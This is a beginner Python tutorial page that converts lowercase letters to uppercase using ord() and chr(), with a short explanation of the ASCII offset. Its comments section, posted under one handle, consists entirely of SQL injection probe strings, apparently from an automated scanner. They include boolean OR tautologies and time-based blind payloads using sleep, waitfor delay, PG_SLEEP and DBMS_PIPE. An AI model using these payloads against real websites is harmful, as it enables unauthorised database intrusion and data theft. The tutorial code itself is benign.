lowercase to uppercase in python

python program to get a String and convert the lower case characters to upper case Characters

Sample Input 1 :

Hello

Sample Output 1 :

HELLO

Program or Solution

				
			
					
s=input("Enter a String:")
result=""
for i in range(0,len(s)):
    ascii_val = ord(s[i])
    if(ascii_val>96 and ascii_val<123):
        result+=chr(ascii_val-32)
    else:
        result+=chr(ascii_val)
s=result
print(s)

			
				
			

Program Explanation

unicode / ascii_val of lower case alphabets are from 97 to 122 unicode / ascii_val of upper case alphabets are from 65 to 90 so the difference between lower case and uppercase alphabets is 32.

use ord() method to find ascii_val of a character.

Use chr() method to find character of ascii value Note: String is immutable, so you cannot modify a character directly in a orginal string.

Comments

ubaTaeCJ
-1 OR 2+29-29-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+29-29-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+29-29) --
ubaTaeCJ
-1 OR 3*2>(0+5+29-29) --
ubaTaeCJ
-1 OR 2+68-68-1=0+0+0+1
ubaTaeCJ
-1 OR 3+68-68-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+68-68)
ubaTaeCJ
-1 OR 3*2>(0+5+68-68)
ubaTaeCJ
-1' OR 2+924-924-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+924-924-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+924-924) --
ubaTaeCJ
-1' OR 3*2>(0+5+924-924) --
ubaTaeCJ
-1' OR 2+956-956-1=0+0+0+1 or '5n5rzqRB'='
ubaTaeCJ
-1' OR 3+956-956-1=0+0+0+1 or '5n5rzqRB'='
ubaTaeCJ
-1' OR 3*2<(0+5+956-956) or '5n5rzqRB'='
ubaTaeCJ
-1' OR 3*2>(0+5+956-956) or '5n5rzqRB'='
ubaTaeCJ
-1" OR 2+907-907-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+907-907-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+907-907) --
ubaTaeCJ
-1" OR 3*2>(0+5+907-907) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
tPQljVla'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 322=(SELECT 322 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 911=(SELECT 911 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 326=(SELECT 326 FROM PG_SLEEP(15))--
ubaTaeCJ
uynNVUej' OR 456=(SELECT 456 FROM PG_SLEEP(15))--
ubaTaeCJ
aYPnBVve') OR 771=(SELECT 771 FROM PG_SLEEP(15))--
ubaTaeCJ
yy01HR37')) OR 51=(SELECT 51 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@a0FkL